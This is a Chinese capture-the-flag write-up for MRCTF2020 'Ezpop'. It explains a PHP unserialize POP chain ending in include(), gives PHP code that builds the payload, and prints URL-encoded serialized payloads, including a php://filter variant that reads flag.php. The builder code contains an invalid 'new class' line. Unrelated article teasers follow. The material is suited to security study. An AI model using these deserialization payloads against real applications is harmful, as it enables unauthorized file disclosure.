[MRCTF2020]Ezpop

news2024/12/25 1:29:16

[MRCTF2020]Ezpop

题目是pop,考的其实就是pop链,可以自己先学学,啥也不会QAQ

php反序列化之pop链_pop3.phpwelcome-CSDN博客

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

感觉就是利用魔术方法达到自己的目的(魔术方法可以理解成php函数的生命周期)

看看这道题的源码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

然后开始分析

可以先看看读取文件的函数 highlight_file()
这道题的关键目的是为了得到flag.php,所以思考怎么得到?
可以看到Modifier类中有个append()方法将传入的参数进行包含
unserialize 会自动调用_wakeup 将source看成字符串,但是source为对象的话触发_toString,

看看_toString函数,将str的值赋值给source,如果str的值不存在就会触发_get方法
看看_get方法,将Test类属性p的值赋值给function,再将function当作函数进行输出,所以又调用了_invoke
Modifier类中的append()方法会将传入参数包含,而此处的魔术方法_invoke将Modifier类中的var属性作为传入值来调用append()的函数,所以这里将flag.php赋值给var

这里总结一下这整个pop链
反序列化unserialize -> _wakeup -> source为对象的话 —> _toString -> str的值不存在的话 -> _get -> 返回Test类中属性p的函数的调用结果 -> 调用_invoke -> include()包含目标文件flag.php

简单理解一下,就构造一下payLoad:

<?php
class Modifier {
    protected  $var="flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a=new class Modifier;
$b=new class Show;
$c=new class Test;
//将Modifier类的值赋值给Test类中p属性,触发_invoke
$c->p=$a;
//赋值$b下的str为对象$c,触发_get
$b->str=$c;
//source的值要为对象,将上面赋值过的对象给$b->source,触发_toString
$b->source=$b;
echo urlencode(serialize($b));
?>

使用urlencode是为了编码privateprotect属性,防止他们序列化出来有%00截断

得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

但是直接包含flag.php得不到flag,需要读取flag.php中的源码,

image-20240803104904039

利用php伪协议来读取源码,所以简单修改一下

protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

得到:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

image-20240803105221396

将内容进行解码,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1988162.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

sql注入复现(1-14关)

目录 第一关&#xff08;字符型注入&#xff09; 第二关&#xff08;数字型注入&#xff09; 第三关&#xff08;闭合方式不同&#xff09; 第四关&#xff08;用双引号闭合&#xff09; 第五关&#xff08;不会数据回显&#xff09; 第六关&#xff08;闭合方式不同双引…

Mac角色扮演游戏:仙剑奇侠传四 for Mac v1.1 中文移植版

仙剑奇侠传四游戏的背景设定在十九年前&#xff0c;琼华派利用望舒和羲和双剑网缚妖界&#xff0c;引发人妖大战。游戏的主角是云天河&#xff0c;他在青鸾峰长大&#xff0c;与韩菱纱、柳梦璃和慕容紫英一起踏上了寻仙之路。在这个过程中&#xff0c;他们遇到了各种挑战&#…

事件驱动架构-七巧低代码入门01

事件驱动架构&#xff08;Event-Driven Architecture&#xff0c; EDA&#xff09;是一种软件架构模式&#xff0c;它强调系统内各个组件之间通过事件或消息进行通信和协作。在事件驱动架构中&#xff0c;系统的各个部分&#xff08;服务、组件等&#xff09;不直接调用彼此的方…

基于深度学习的大规模MIMO信道状态信息反馈

MIMO系统 MIMO系统利用多个天线在发送端和接收端之间建立多条独立的信道&#xff0c;从而使得同一时间可以传输多个数据流&#xff0c;从而使得同一之间可以传输多个数据流&#xff0c;提高数据传输速率。 优势 增加传输速率和容量&#xff0c;提高信号覆盖范围和抗干扰能力…

关于keil程序无法进入main函数问题

情况&#xff1a;之前烧写没问题&#xff0c;不然再次烧写的稍后显示boot损坏。 原因&#xff1a;发现kill掉所有断点再编译会导致bootloader失效 所以编译的时候&#xff0c;如果没有断点不要去执行1按钮 kill 断点&#xff0c;否则boot会失效&#xff0c;进不去main函数 解决…

物联网井盖-智能井盖-旭华智能

在智慧城市的大背景下&#xff0c;每一个细节都可能成为改变城市的契机。今天&#xff0c;我们就来聊聊那些不起眼却极其重要的城市守护者——物联网智慧井盖。它们不仅为城市管理带来了前所未有的便捷&#xff0c;也为环保事业贡献了一份力量。 什么是物联网智慧井盖&#xf…

【Foundation】(五)transformers之Evaluate

文章目录 0、介绍1、基本使用2、加载评估函数3、查看函数说明4、评估指标计算——全局计算5、评估指标计算——迭代计算6、多个评估指标计算7、评估结果可视化 0、介绍 简单易用的机器学习模型库&#xff0c;只需要一行代码便可加载任务任务的评估函数 1、基本使用 查看支持的…

SAP MM学习笔记 - 豆知识03 - 安全在库和最小安全在库,扩张物料的保管场所的几种方法,定义生产订单的默认入库保管场所,受注票中设定禁止贩卖某个物料

上一章讲了一些MM模块的豆知识。 - MR21 修改物料原价 - MM02 修改基本数量单位/评价Class - MMAM 修改物料类型/评价Class SAP MM学习笔记 - 豆知识02 - MR21 修改物料原价&#xff0c;MM02 修改基本数量单位/评价Class&#xff0c;MMAM 修改物料类型/评价Class-CSDN博客 …

武汉流星汇聚:亚马逊市场份额霸榜全球,强大实力引领跨境新纪元

在当今这个瞬息万变的电商时代&#xff0c;市场占有率无疑是衡量一个平台成功与否的关键指标。它不仅关乎平台的行业地位与竞争力&#xff0c;更是其盈利能力与未来潜力的直接体现。在众多电商巨头中&#xff0c;亚马逊以其卓越的表现和广泛的影响力&#xff0c;稳居全球电商市…

使用Python将Word文档转换为PNG图片

在这篇博客中&#xff0c;我将介绍一个使用Python编写的小工具&#xff0c;它能够将指定文件夹中的所有Word文档&#xff08;.doc和.docx格式&#xff09;转换为PNG图片。这个工具基于wxPython库构建图形用户界面&#xff0c;并结合了win32com和PyMuPDF库实现文档格式的转换。接…

JAVA WEB初步实验

Spring应用开发环境准备 安装配置Spring应用开发环境 熟悉IntelliJ IDEA开发工具 打开idea工具&#xff0c;创建普通Java工程 配置普通Java工程运行环境 得到基本的Java运行环境配置正常 修改pom.xml文件&#xff0c;搭建Spring IOC运行环境 更新pom文件 新建User、TestSpr…

部署Springboot + Vue 项目到远程服务器Windows10系统的详细配置

远程服务器操作系统为Windows系统&#xff0c;Java程序环境&#xff0c;Maven环境都安装有&#xff0c;Mysql ,Redis等都有的前提下 1. mysql数据库导入&#xff0c;非常简单很好操作&#xff0c;这里省略。。比如用HeidiSql 或者Navicat 工具导入数据库 2. 后端javaSpringb…

医疗器械注册资源宝库数屿医械官方平台!

医学影像设备市场作为医疗器械领域的佼佼者&#xff0c;技术门槛高且规模庞大&#xff0c;2021年全球规模达458亿美元&#xff0c;预计2022年逼近500亿美元&#xff0c;增长动力源自技术革新与临床需求攀升。中国市场亦不甘落后&#xff0c;受政策驱动与市场需求双重提振&#…

WPF学习(8)- Button按钮

1. 用法解析 Button因为继承了ButtonBase&#xff0c;而ButtonBase又继承了ContentControl&#xff0c;所以&#xff0c;Button可以通过设置Content属性来设置要显示的内容。例如 <Button Content"确定"/>我们使用Button的时机&#xff0c;通常是鼠标点击事件…

【IEEE出版 | 往届会后三个月检索】第五届大数据、人工智能与软件工程国际研讨会(ICBASE 2024)

【IEEE出版 | 往届会后三个月检索】 第五届大数据、人工智能与软件工程国际研讨会&#xff08;ICBASE 2024&#xff09; 2024 5th International Conference on Big Data & Artificial Intelligence & Software Engineering 2024年09月20-22日 | 中国温州 *会议官网…

【NeRF及其代码NeRF-Pytorch实现】

文章目录 模型输入和输出NeRF-Pytorch代码参考 在没有仔细学习过NeRF之前&#xff0c;对于NeRF的直观感受是&#xff0c;它是对某个场景三维模型的一个拟合&#xff0c;并且实现了一个渲染的效果&#xff0c;即输入相机位姿信息&#xff0c;输出对应位姿信息的渲染图像。NeRF训…

【IO】使用消息队列完成两个进程之间相互通信

目录 1、使用消息队列完成两个进程之间相互通信 2、共享内存实现两个进程之间的通信 3、思维导图 1、使用消息队列完成两个进程之间相互通信 //msgsnd.c #include <myhead.h>// 要发送的消息类型 struct msgbuf {long mtype;char mtext[1024]; };// 定义一个宏&#…

html5各行各业官网模板源码下载(3)

文章目录 1.来源2.源码模板2.1 HTML5好看的酷酷的个人简历、个人主页、个人网站源码2.2 html实现我的博客文章相册源码2.3 html实现好看的塔罗牌、十二星座运势网站源码 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/details/1…

语音转文字大盘点,Windows版Top3,你选对了吗?

现在的工作压力可不是盖的&#xff0c;老板们总希望我们能像超人一样&#xff0c;工作速度快得飞起。如果做不到&#xff0c;可能就得把位置让给别人了。不过别担心&#xff0c;有了语音转文字的软件&#xff0c;咱们的工作效率就能大大提升。那咱们应该选哪款免费的语音转文字…

免费【2024】springboot 房屋租赁系统的设计与实现

博主介绍&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…